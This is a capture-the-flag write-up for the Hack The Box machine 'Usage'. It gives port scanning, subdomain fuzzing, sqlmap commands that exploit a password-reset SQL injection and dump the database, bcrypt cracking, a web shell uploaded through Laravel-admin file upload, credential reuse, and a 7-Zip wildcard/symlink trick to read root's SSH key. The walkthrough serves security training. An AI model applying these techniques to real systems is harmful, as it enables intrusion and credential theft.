Enumeration
Port & service scan:
I started the enumeration process by scanning for open ports and running services using rustscan. The results revealed only two open ports:
rustscan -a 10.10.11.18 -- -A -T4 -vv -oN usage_nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFfdLKVCM7tItpTAWFFy6gTlaOXOkNbeGIN9+NQMn89HkDBG3W3XDQDyM5JAYDlvDpngF58j/WrZkZw0rS6YqS0=
| 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHr8ATPpxGtqlj8B7z2Lh7GrZVTSsLb6MkU3laICZlTk
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 5.0 - 5.5 (96%), Linux 5.0 (96%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 4.15 - 5.8 (94%), Linux 5.3 - 5.4 (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=10/1%OT=22%CT=%CU=31931%PV=Y%DS=2%DC=T%G=N%TM=66FBA814%P=x86_64-pc-linux-gnu)
SEQ(SP=F2%GCD=1%ISR=111%TI=Z%CI=Z%II=I%TS=A)
SEQ(SP=F4%GCD=1%ISR=112%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)
From the scan results, I observed that ports 22 and 80 were open. Additionally, there was an HTTP server running on port 80, where I discovered the domain usage.htb. I added this domain to my hosts configuration file.
DNS enumeration:
Next, I performed DNS-based enumeration on the domain usage.htb to search for additional subdomains. For this, I used the tool ffuf.
ffuf -H "Host: FUZZ.usage.htb" -u http://10.10.11.18/ -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 178
As a result of the scan, I identified one new subdomain: admin.usage.htb.
Web enumeration:
Next, I explored the web applications and found login portals on both websites.
For usage.htb:
For admin.usage.htb:
I checked the HTML source code for both websites but didn’t find anything useful.
sub-directory enumeration:
Next, I conducted subdirectory enumeration on both hosts using the tool dirsearch:
However, the scan results didn’t reveal anything particularly useful. So, I registered an account and logged into the usage.htb application. After logging in, I found a page containing several blog posts:
Password resest:
After reviewing everything, I began testing the password reset functionality. I intercepted the password reset request using Burp Suite and noticed that the application was using a laravel_session cookie, indicating that it is running on PHP.
Next, I attempted an SQL injection (SQLi) in the password reset field by inserting a single quote after the email ID. This resulted in a 500 Internal Server Error.
To verify if the error was caused by SQLi, I tried using two single quotes, and this time the application responded normally. This confirmed that the application is vulnerable to SQL injection.
SQLMap:
To further exploit the vulnerability and dump all the data from the database, I used sqlmap to automate the process.
I saved the password reset request intercepted in Burp Suite to a text file and used it as input for sqlmap:
sqlmap -r burp.req -p email --level=5 --risk=3 --batch --dbs --dump
The command revealed three available databases:
[*] information_schema
[*] performance_schema
[*] usage_blog
Since the usage_blog database seemed related to the website’s blog, I decided to dump its contents:
sqlmap -r burp.req -p email --level=5 --risk=3 --batch --dump usage_blog --thread 10 #thread 10 has been used to speed up the process
After some time, I began retrieving valuable data, such as the administrator’s password hash and token:
Additionally, I retrieved user hashes and tokens:
Password cracking:
Next, I analyzed the password hash algorithm using the tool hashid, which revealed that the hash was in bcrypt format. I used John the Ripper to crack these hashes:
john --w=/usr/share/wordlists/rockyou.txt --format=bcrypt hashes
Within two minutes, I successfully cracked all three hashes:
One of the three credentials worked for the user admin, allowing me to successfully log in to the admin portal.
Initial access
PHP shell:
Once I accessed the dashboard, I noticed that the application was running Laravel-admin version 1.8.18. I began searching for an exploit and found relevant information on Snyk. According to Snyk, “Affected versions of this package are vulnerable to Arbitrary Code Execution due to unrestricted file uploads via the ‘user settings’ interface. Users can upload and execute .php scripts on the affected server.”
In the application, I observed a file upload feature in the profile image section:
I attempted to upload a web shell directly, but it was blocked, likely due to the file extension. I tried again, this time intercepting the request using Burp Suite and modifying the file extension during the request:
This worked, and the image file was successfully uploaded as shell.php:
Next, I navigated to the uploaded shell page and executed commands, which worked as expected:
SSH keys:
Using the web shell, I navigated to the home directory and found two user folders: dash and xander.
Since the shell was running under the dash user, I explored the directory and discovered a private SSH key in dash's home folder.
I copied the private key and attempted to log in as dash using SSH, which worked, giving me access to the dash account:🙂
lateral movement:
dash -> xander:
After gaining initial access, I began searching for ways to escalate my privileges. I started by examining the files in dash's home directory and noticed several monit files.
Monit is a small Open Source utility for managing and monitoring Unix systems.
Upon checking the contents of one of these files, I discovered credentials for the Monit application:
I first attempted to use these credentials with the root user, but that didn’t work. Then, I tried them with the other user, xander, and this time it was successful.
xander -> root:
After gaining access to xander, I continued to search for ways to escalate my privileges. I started by checking the sudo privileges and observed that xander can run the following command with sudo:
sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
I executed the binary directly, which presented me with three options:
To further analyze the binary, I used the strings command and noticed that in the backup section, the application was creating backups from the www/html directory after zipping them using 7-Zip:
I researched some references and found a post on HackTricks, which explained how to abuse 7-Zip for privilege escalation if wildcards are used in the command:
Root.txt
Following the guidance from the HackTricks blog, I created a file named id_rsa in the /var/www/html directory, where backups are being performed with a wildcard. After creating this file, I set it up as a symlink for the SSH private key for the root user.
After running the user_management binary with sudo again, I successfully obtained the root user SSH key:
Essentially, I created two files: id_rsa and @id_rsa. The @id_rsa file served as a reference to the id_rsa file, and since I made id_rsa a symlink to the root SSH key, it ultimately allowed me to read the SSH key for the root user.
Using this key, I was finally able to access the root account and fetch all the flags. (pwn3d! 🎉)